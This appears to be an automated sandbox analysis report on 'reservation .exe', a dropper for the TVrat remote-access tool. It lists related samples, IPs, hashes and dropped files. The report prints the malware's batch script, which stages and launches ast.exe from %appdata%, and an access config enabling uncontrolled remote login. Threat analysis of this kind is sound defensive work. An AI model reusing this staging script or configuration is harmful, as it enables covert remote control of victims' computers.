	wjpP1EOX0L.exe	Get hash	malicious	TVrat	Browse	212.193.169.65
	oZ3vtWXObB.exe	Get hash	malicious	TVrat	Browse	212.193.169.65
	aeyh21MAtA.exe	Get hash	malicious	TVrat	Browse	212.193.169.65
	wjpP1EOX0L.exe	Get hash	malicious	TVrat	Browse	212.193.169.65
	1.exe	Get hash	malicious	DBatLoader, TVrat	Browse	212.193.169.65
	1.exe	Get hash	malicious	DBatLoader, TVrat	Browse	212.193.169.65
	scan_9374673_Medoc.pdf.exe	Get hash	malicious	DBatLoader, TVrat	Browse	185.40.77.244
	scan_9374673_Medoc.pdf.exe	Get hash	malicious	DBatLoader, TVrat	Browse	185.40.77.244

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SAFIB-ASRU	oZ3vtWXObB.exe	Get hash	malicious	TVrat	Browse	212.193.169.65
	aeyh21MAtA.exe	Get hash	malicious	TVrat	Browse	212.193.169.65
	wjpP1EOX0L.exe	Get hash	malicious	TVrat	Browse	212.193.169.65
	PkWnPA8l7C.exe	Get hash	malicious	DBatLoader, TVrat	Browse	212.193.169.68
	oZ3vtWXObB.exe	Get hash	malicious	TVrat	Browse	212.193.169.65
	aeyh21MAtA.exe	Get hash	malicious	TVrat	Browse	212.193.169.65
	wjpP1EOX0L.exe	Get hash	malicious	TVrat	Browse	212.193.169.65
	1.exe	Get hash	malicious	DBatLoader, TVrat	Browse	212.193.169.65
	1.exe	Get hash	malicious	DBatLoader, TVrat	Browse	212.193.169.68
	scan_9374673_Medoc.pdf.exe	Get hash	malicious	DBatLoader, TVrat	Browse	212.193.169.68

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
74954a0c86284d0d6e1c4efefe92b521	oZ3vtWXObB.exe	Get hash	malicious	TVrat	Browse	212.193.169.65
	aeyh21MAtA.exe	Get hash	malicious	TVrat	Browse	212.193.169.65
	wjpP1EOX0L.exe	Get hash	malicious	TVrat	Browse	212.193.169.65
	PkWnPA8l7C.exe	Get hash	malicious	DBatLoader, TVrat	Browse	212.193.169.65
	oZ3vtWXObB.exe	Get hash	malicious	TVrat	Browse	212.193.169.65
	aeyh21MAtA.exe	Get hash	malicious	TVrat	Browse	212.193.169.65
	wjpP1EOX0L.exe	Get hash	malicious	TVrat	Browse	212.193.169.65
	avast_free_antivirus_setup_online.exe	Get hash	malicious	Unknown	Browse	212.193.169.65
	avast_free_antivirus_setup_online.exe	Get hash	malicious	Unknown	Browse	212.193.169.65
	file.exe	Get hash	malicious	Unknown	Browse	212.193.169.65

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\is-BE9V9.tmp\_isetup\_iscrypt.dll	oZ3vtWXObB.exe	Get hash	malicious	TVrat	Browse
	aeyh21MAtA.exe	Get hash	malicious	TVrat	Browse
	wjpP1EOX0L.exe	Get hash	malicious	TVrat	Browse
	PkWnPA8l7C.exe	Get hash	malicious	DBatLoader, TVrat	Browse
	oZ3vtWXObB.exe	Get hash	malicious	TVrat	Browse
	aeyh21MAtA.exe	Get hash	malicious	TVrat	Browse
	wjpP1EOX0L.exe	Get hash	malicious	TVrat	Browse
	1.exe	Get hash	malicious	DBatLoader, TVrat	Browse
	1.exe	Get hash	malicious	DBatLoader, TVrat	Browse
	i7j22nof2Q.exe	Get hash	malicious	Socks5Systemz	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp

Download File

Process:	C:\Users\user\Desktop\reservation .exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3152384
Entropy (8bit):	6.384961431993512
Encrypted:	false
SSDEEP:	49152:UWGtLBcXqFpBR6SVb8kq4pgquLMMji4NYxtJpkxhGjIHTbh333tkru:AtLutqgwh4NYxtJpkxhGi333tki
MD5:	D3E870E4BBE9AAF106AB9B0510956A89
SHA1:	C8B7A473A78E1EDB74116533B24BC87F1D9DE686
SHA-256:	1E46C7F1CE79E5D5D3A8049B6610B74DA8905D1C796119C7159B92D071B47F36
SHA-512:	D904BF73A5DC77D92847DE2AC5662CD1442E491B60A3495AC971AD2BB1F3D621D2F74AF3B4729B27C96D61EAC66833DB96665C798285E7495AD3D355CEE02756
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......c.................L,.........hf,......p,...@...........................1...........@......@....................-.......-..9......\|............................................................................-.......-......................text.... ,......",................. ..`.itext...(...@,.....&,............. ..`.data...X....p,......P,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-......-.............@..@.tls....L.....-..........................rdata..]............,-.............@..@.rsrc...\|.............-.............@..@..............1.......0.............@..@........................................................

C:\Users\user\AppData\Local\Temp\is-BE9V9.tmp\_isetup\_iscrypt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.8818118453929262
Encrypted:	false
SSDEEP:	24:e1GSgDIX566lIB6SXvVmMPUjvhBrDsqZ:SgDKRlVImgUNBsG
MD5:	A69559718AB506675E907FE49DEB71E9
SHA1:	BC8F404FFDB1960B50C12FF9413C893B56F2E36F
SHA-256:	2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
SHA-512:	E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: oZ3vtWXObB.exe, Detection: malicious, Browse Filename: aeyh21MAtA.exe, Detection: malicious, Browse Filename: wjpP1EOX0L.exe, Detection: malicious, Browse Filename: PkWnPA8l7C.exe, Detection: malicious, Browse Filename: oZ3vtWXObB.exe, Detection: malicious, Browse Filename: aeyh21MAtA.exe, Detection: malicious, Browse Filename: wjpP1EOX0L.exe, Detection: malicious, Browse Filename: 1.exe, Detection: malicious, Browse Filename: 1.exe, Detection: malicious, Browse Filename: i7j22nof2Q.exe, Detection: malicious, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-BE9V9.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp

Download File

Process:	C:\Users\user\Desktop\reservation .exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3152384
Entropy (8bit):	6.384961431993512
Encrypted:	false
SSDEEP:	49152:UWGtLBcXqFpBR6SVb8kq4pgquLMMji4NYxtJpkxhGjIHTbh333tkru:AtLutqgwh4NYxtJpkxhGi333tki
MD5:	D3E870E4BBE9AAF106AB9B0510956A89
SHA1:	C8B7A473A78E1EDB74116533B24BC87F1D9DE686
SHA-256:	1E46C7F1CE79E5D5D3A8049B6610B74DA8905D1C796119C7159B92D071B47F36
SHA-512:	D904BF73A5DC77D92847DE2AC5662CD1442E491B60A3495AC971AD2BB1F3D621D2F74AF3B4729B27C96D61EAC66833DB96665C798285E7495AD3D355CEE02756
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......c.................L,.........hf,......p,...@...........................1...........@......@....................-.......-..9......\|............................................................................-.......-......................text.... ,......",................. ..`.itext...(...@,.....&,............. ..`.data...X....p,......P,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-......-.............@..@.tls....L.....-..........................rdata..]............,-.............@..@.rsrc...\|.............-.............@..@..............1.......0.............@..@........................................................

C:\Users\user\AppData\Local\Temp\is-I3C98.tmp\_isetup\_iscrypt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.8818118453929262
Encrypted:	false
SSDEEP:	24:e1GSgDIX566lIB6SXvVmMPUjvhBrDsqZ:SgDKRlVImgUNBsG
MD5:	A69559718AB506675E907FE49DEB71E9
SHA1:	BC8F404FFDB1960B50C12FF9413C893B56F2E36F
SHA-256:	2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
SHA-512:	E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-I3C98.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qilq\2teu9t.cfg (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	data
Category:	dropped
Size (bytes):	43
Entropy (8bit):	5.286729870981167
Encrypted:	false
SSDEEP:	3:SYMGa4VOUbLDFwozJO+n:SBU/Bwoz7n
MD5:	33118193A9FD63FBCF60AE73FC60199E
SHA1:	8DAFC111E44FABAE3EAD8325BB03E97871393D99
SHA-256:	1E0DB7EB8AA0E8D9203FBB39753E82D6077A867ADF93D438CE24333686793159
SHA-512:	647F151D68094BCCC313006C6BCA06505A2EBDE58C014901D71FFED01285172F124EF0FA400A6481D30BFBA021C674959AF0D2061BB11466A28BB79C096A20E5
Malicious:	false
Preview:	.>..i"_(..9E..+.S-..;.f.-.si..MZ......c:...

C:\Users\user\AppData\Local\Temp\qilq\AstCrp.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	172216
Entropy (8bit):	6.698242571688099
Encrypted:	false
SSDEEP:	3072:nGhQI/PxvCWRDvcDfo0F5HekeyO54ECV0/sMHL0WPCCb5rAg0Fujx8E0/3xt9qKv:kPxqWYF5HkyDLMsOzrAOL23VqK28j
MD5:	CF1169A87FE6266C7B457A2424DA69DA
SHA1:	5ADD67DEFD4CA56C1E9C0B239899EA699B140B64
SHA-256:	24E01FD95225E260CDD41015A70374A048568D4DF6681B3D44EAABCB1EA03EAF
SHA-512:	7BF76EB5B4E31A65931AF730909FBF848334BC98DA279E291E186FCAFDC81C76D1EF0EFEC4E00B8EAEDE6F8D130DA8B6B3D3C5DD8C14C6DCD3BCDC7D050A4B66
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.%.).K.).K.).K.r.H.$.K.r.N...K.r.O.?.K...J.-.K.{.H.=.K.{.N...K.{.O...K.r.J...K.).J...K...B.!.K...K.(.K.....(.K.)..(.K...I.(.K.Rich).K.................PE..L.....@a...........!.....t...........V..............................................B.....@.........................`X..h....X..P.......(............\|...$...........H..8............................H..@...............8............................text....s.......t.................. ..`.rdata...............x..............@..@.data........p.......P..............@....rsrc...(............\..............@..@.reloc...............b..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qilq\ast.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7543992
Entropy (8bit):	6.717610928993395
Encrypted:	false
SSDEEP:	98304:q0f/bCIDcCkgVmZqIXrdoXj++CEKDFBaVOGizeKFUtqiAp+hRWmMLlJ7p1:X/bCIPkgVpycKDFqOLNUtqiAz
MD5:	8002D9E5851728EB024B398CF19DE390
SHA1:	9A1DC7134F3F6FCCB37DFC4DDDA35DFA2875095E
SHA-256:	B8DDE42C70D8C4A3511D5EDFFBC9F7F0C03DBDA980E29693E71344F76DA6BB0F
SHA-512:	6936B6B01F9FC2F2F69DE6AE468A9F7173239BD003AD8B7BC7336C4DD4DB50457E20EC6783B2E8A166D684A56F3F1E9FB701CA903DF3F74E3CA25C46B8A8D00E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....@a..................K..`'.......K.......K...@...........................y.......s..........@............................S..m....X..f ...........r..$... T.8d............T...............T.....................@.S..............................text... .J.......J................. ..`.itext..$.....J.......J............. ..`.data...T"....K..$....K.............@....bss..........M.......M..................idata...m....S..n....M.............@....tls....D.....T......N..................rdata..#.....T......N.............@..@.reloc..8d... T..f...,N.............@..B.rsrc....f ...X..f ...R.............@..@..............y.......r.............@..@................................................................................................

C:\Users\user\AppData\Local\Temp\qilq\astclient.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	581304
Entropy (8bit):	6.580382227041057
Encrypted:	false
SSDEEP:	12288:bj4Q3+oAscridrDg76u3HsBTc9GtIGPi2Emvh5/kJSMl0yomcY/nRwl2Sp:bHYXSTMGtNPitm1yomJ/n+tp
MD5:	CDC5A8221738C1CA66564755BB58138C
SHA1:	EF096A2CAF133D217C202C147855F2CEE7ECD105
SHA-256:	DF5CEF85E92C6FFFAAC0ACDCE645AED3C5FA1F8FE7F9700D84CA08468AD3D5E3
SHA-512:	A9F3E256518771C1C97374E7AE3EE19EBEC0D794CD740E059DBC8289356CF1FB5D4A19F2677DB2ADBB179A73520AAEC67947DCF4C8BCD930206DE4B6CDCAD4C6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9...}..O}..O}..O.\|*Ol..O.\|(O...O.\|)Oc..O/..Nd..O/..N...O/..N_..O...Ol..O}..O...O..Nh..O..N\|..O.$O\|..O}.LO\|..O..N\|..ORich}..O........PE..L...L..a...........!..... ...........m.......0......................................C.....@.........................0...P...............0................$.......[......p..............................@............0...............................text............ .................. ..`.rdata..H....0.......$..............@..@.data....d... ...D..................@....rsrc...0............X..............@..@.reloc...[.......\...^..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qilq\astrct.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1724088
Entropy (8bit):	6.573221633911959
Encrypted:	false
SSDEEP:	49152:uSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSvSSSSSSSSSSSSSSSlwwwwwwwwwwwwwwI:uSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSO
MD5:	E0E559010A1CC7CB6B6F754E8833A156
SHA1:	0ADB286A1511B9D5820B042EE7D059DAEE8D0978
SHA-256:	A49D90D39BCF0FB183A8E2DFDA90E1B745565DDC25C0CC92ED7068868CB8F3E4
SHA-512:	3225A22CA8044FAFE03C005C55924B71EC2D3C9EE2325B45703EADC1F912DD867DD7FADCA0652FA2ACD46D4067575377388134E3CC58B13C0F82540224E98221
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......3...w...w...w....5k.o....5i.....5h.h.......Y...w...:...........%...l...%.......%...R....VQ.d...w................v.....e.v...w...v.......v...Richw...........PE..L..._..`...........!.....@...B...............P......................................Q.....@.........................@Z..H....Z..........(............*...$... ..........p...........................P...@............P..\|............................text....>.......@.................. ..`.rdata..(....P... ...D..............@..@.data........p...2...d..............@....rodata.@...........................@..@.rsrc...(...........................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qilq\aw_sas32.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17648
Entropy (8bit):	6.317642988990049
Encrypted:	false
SSDEEP:	384:ZPkFNiOMTd1th9gQIim+4vBDVU376TFNiWC:iNhMpXgIr4vBBYANi1
MD5:	ACF7048E2347CFD66CD17648DBFBAF45
SHA1:	DF5A12E399176771DC8CF2F7D0CF5548E41E2BB3
SHA-256:	F1CFFBC2ADA8491755C76360AAD14314DEB576AA65F503E52FA24DEE7D33D8E7
SHA-512:	51A53CB700FBB7ABF3BDA3101ED0885572460C1686D07C3D2125C8AA6F0834E30528BEE78CC40EE9270714A16AC769D16F5A916F37F0E48BBF7121202E58E0C0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......):5.m[[.m[[.m[[.d#..o[[.d#..c[[.d#..o[[.d#..j[[.m[Z.S[[.d#..k[[.d#..l[[.d#..l[[.Richm[[.........PE..L......K...........!.........................0...............................p............@..........................<..N...\|6..P....P...............0.......`..$....................................4..@............0...............................text...;........................... ..`.rdata.......0......................@..@.data........@.......&..............@....rsrc........P.......(..............@..@.reloc.......`.......,..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qilq\config.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	586
Entropy (8bit):	5.193353768565217
Encrypted:	false
SSDEEP:	12:LzSeQNlTQ/dw/7y/x5/D++472p+fso+9hffAaJYQMhsK/qI8qP:HSeWlcMypJD5KxkiaJosBq
MD5:	CAA0C19D802D86B5A6B290897AA864EE
SHA1:	01C139425983B9EC2A8FE42C9D685D1193D5A8BB
SHA-256:	EDEECC1090C314D7397B171CD09E1C208FCCE3B580794BAC425475E4292629FA
SHA-512:	95B595038F720A45449E77E121B0AF3FFA251034EFD6F187C8572C54F667D11F467AF6A5F062F50B60C8001645CA33B5F204482753AF72BDD2AA3A3834BD2C35
Malicious:	false
Preview:	[config]..Security.FixPass=96E79218965EB72C92A549DD5A330112..Main.Autorun=1..Main.CloseButtonOperation=0..Main.CheckUpdates=0..Security.UseLocalSecuritySettings=1..Security.DynPassKind=0..Security.PassLifetime=0..Security.CanWinAuth=1..Security.AccessKind=1..Security.CanWinLoginAnotherUser=1..Security.UNCONTROLLED_ACCESS=1..Security.CanWinLoginNotAdmin=1..Security.DenyRemoteSettingsControl=0..Security.DenyLockControls=0..Log.ServerStoreTechLog=0..Main.AWAYMODE_REQUIRED=1..Main.LogsLifetime=1..Main.LogsForMail2Support=1..ProxySettings.UseKind=1..ProxySettings.StoreUserAndPassw=1..

C:\Users\user\AppData\Local\Temp\qilq\fguwrtug.bmp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 225x225, components 3
Category:	dropped
Size (bytes):	10752
Entropy (8bit):	7.9500738973365355
Encrypted:	false
SSDEEP:	192:Nr2Ya94sQ6EqghLbOU+fWt1t7ZPA+KAMcB6Bk0Nmd32iF2la8XncszJfBzG1:p2Ya94s8q8+fQttI+8cABGJ4la8vVfp6
MD5:	15955D8B74435C9CA1A6E273644CE86B
SHA1:	E43F73B27A7F76014706296339F4CE1C71C86EFE
SHA-256:	796097E407FE8EB02A965CD5416DDAE0C1F178C153A71FCF8590F4BED4F5A389
SHA-512:	38593F7523D416A4E0BC855F52BA76B1ABE1F65E912ED5E892DE4C210B0055B07472DA5B8C0CB731BC1E4B26C43FF2A346CE84B893907AB121EB74D6555296C8
Malicious:	false
Preview:	......JFIF.................................................. ,$..) ..&6&).2333."9>;1=,230...........2)$)52222222222822222222222222222222222222222222222222...........".......................................F......................!.1..AQ."aq.2.Bb...#R....3r....C....$s.45DSt.................................(........................!1A"Q.a2q.................?..N....+..@S.W...@....+..../..8..5.=..}.kAD....>q....E..n.r./.Q..v......5..v.l....f?.s.....m.R.Z.......D..u...-....K..U...S.Xt ......^'... ...[gv....Xjm.*p$.~..n.LY.%.,@..x....\|(...Z.X.Uk.1..=...u....U.1.L...@..-r......e...G.Vo.......Vb..P.y.A.....&v5..p..U#Sy.........X..+&-........../.k.A..0$..Jt..t.&.V.\u.q.+....."J..GH..o[.......Tjq"G..o..e.:H.h...:..Ah..=.H..J...V....Y...2.........{.;U.......`...Y..@..'`3....(.s.k..c...eY...03.'.T.V..e@..h \(..vI]...F....Fu.....'...g-.....-..;6L.i.N...W.-.f...WQ..@..ub;.=.[.r..\|k......bL...i.o&..9..m..`....3...a...R.7%.=z..N.s.n.R..b;k......h.5M...h..Ay..........q

C:\Users\user\AppData\Local\Temp\qilq\g3ll5lm.bat (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	395
Entropy (8bit):	4.596567576097278
Encrypted:	false
SSDEEP:	6:hmR9ooW9rw49edspB7utcA2dcvNiccA2dx0HcA2d7DvDTfcA2djLvWVOzwaowQ4:w7Q249edaBS7jfxmfJ8WsQwH
MD5:	21138C5F0FC42E27B57CBADC4CFCB7B7
SHA1:	EBC7FB05FD67B43925EC4EE2A43A2F3152712B28
SHA-256:	C8D896D8DAE872D0FF7ED407E9706E19F798FBADBA7AF7EF48E5EDDA4BF05C23
SHA-512:	20D832E675D2AAB97DF7FC10BAD055F96327F782224C0A1C0F10C4D7CF01CCC7428AB934DA889935C2E67D6FAC959C1F52D796314988168844C5F079B55D67F1
Malicious:	false
Preview:	@echo off..set "StartDirName=fat" ..set "TempDirName=qilq" ..set "BatchName=g3ll5lm.bat" ..set "ProcName=ast.exe" ......mkdir "%appdata%\%StartDirName%"..xcopy /Y /I /S "%~dp0*" "%appdata%\%StartDirName%\"..del /f /q "%appdata%\%StartDirName%\%BatchName%"..start "" "%appdata%\%StartDirName%\%ProcName%"..for /d %%i in (%temp%\%TempDirName%) do rd /s /q %%i..

C:\Users\user\AppData\Local\Temp\qilq\hatls.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2236144
Entropy (8bit):	5.624149670958732
Encrypted:	false
SSDEEP:	24576:2HGHuX4EewGQcPryfFMoxJ+4PulW/ChEIgTS/zRUm:2HGOX4CGQtMs+WuVge/em
MD5:	BCCF6A5C2595EEA84533692BB788D8BB
SHA1:	24318226F145E52B7633A4E9E844D6EAD43B75AC
SHA-256:	ABF75DE674428E112F90F1C618218FF73EF851F4F09C5F5BA8B69E79A6C74DBF
SHA-512:	78F24F0812AAE31E83340ADEB1A1AE8C00EDFDF483E299706F863CB713BFDC2501B5418CE8F8BD9131E3C704BFFB58A8CA05C5E0A75EB19F15E0409C5B74E35B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............}...}...}.K....}.K..._.}.K.....}...~..}...y..}.......}...\|.W.}...x...}...x...}...}...}......}.......}.......}.Rich..}.................PE..L..."..[...........!.........x.......................................................,"...@.........................P.,.^....s-.P.....-.0.............".......-.....`.+.8...................@.+.......+.@............p-..............................textbss.T...............................text.......p...................... ..`.rdata....... '.....................@..@.data....`....-..@.... .............@....idata.......p-....... .............@..@.msvcjmc......-....... .............@....tls..........-....... .............@....00cfg........-....... .............@..@.rsrc...0.....-....... .............@..@.reloc........-....... .............@..B................................................................................

C:\Users\user\AppData\Local\Temp\qilq\is-26KIS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1388688
Entropy (8bit):	6.85745413435775
Encrypted:	false
SSDEEP:	24576:vNaU+KpPikndiNfzN4jH3PlMQzMjYpOtJqTp/kqg1+:xlUfzN4jH3PlyjYpOLqd/kP1+
MD5:	3B838DC25E96877A1852966F75A5C44A
SHA1:	555E1830829B008D66FF591D87AC235F6286AB9A
SHA-256:	292C9367E5F978D2085192B85BCFEA7DF3A033172703BCCF1FF28A74D65D5AC1
SHA-512:	B5A7F05CD721FC75B77BB33528F746E865C2277A32F3AA312A974DE903A817B7C83E7698980A496B5D04595B21926E94CF9F70A15CD0882D57BA25014BA775D6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......lU.(4.y(4.y(4.y!L<y.4.y!L-y34.y(4.y.4.y...y#4.y(4.y=4.y!L;y.6.y!Ly)4.y!L,y)4.y!L)y)4.yRich(4.y................PE..L...#..]...........!.................................................................:...............................A.......6..x.......0...........................p...................................@...............(............................text............................... ..`.rdata..XY.......Z..................@..@.data............t..................@....rsrc...0............Z..............@..@.reloc..,............`..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qilq\is-5KIJJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7543992
Entropy (8bit):	6.717610928993395
Encrypted:	false
SSDEEP:	98304:q0f/bCIDcCkgVmZqIXrdoXj++CEKDFBaVOGizeKFUtqiAp+hRWmMLlJ7p1:X/bCIPkgVpycKDFqOLNUtqiAz
MD5:	8002D9E5851728EB024B398CF19DE390
SHA1:	9A1DC7134F3F6FCCB37DFC4DDDA35DFA2875095E
SHA-256:	B8DDE42C70D8C4A3511D5EDFFBC9F7F0C03DBDA980E29693E71344F76DA6BB0F
SHA-512:	6936B6B01F9FC2F2F69DE6AE468A9F7173239BD003AD8B7BC7336C4DD4DB50457E20EC6783B2E8A166D684A56F3F1E9FB701CA903DF3F74E3CA25C46B8A8D00E
Malicious:	true
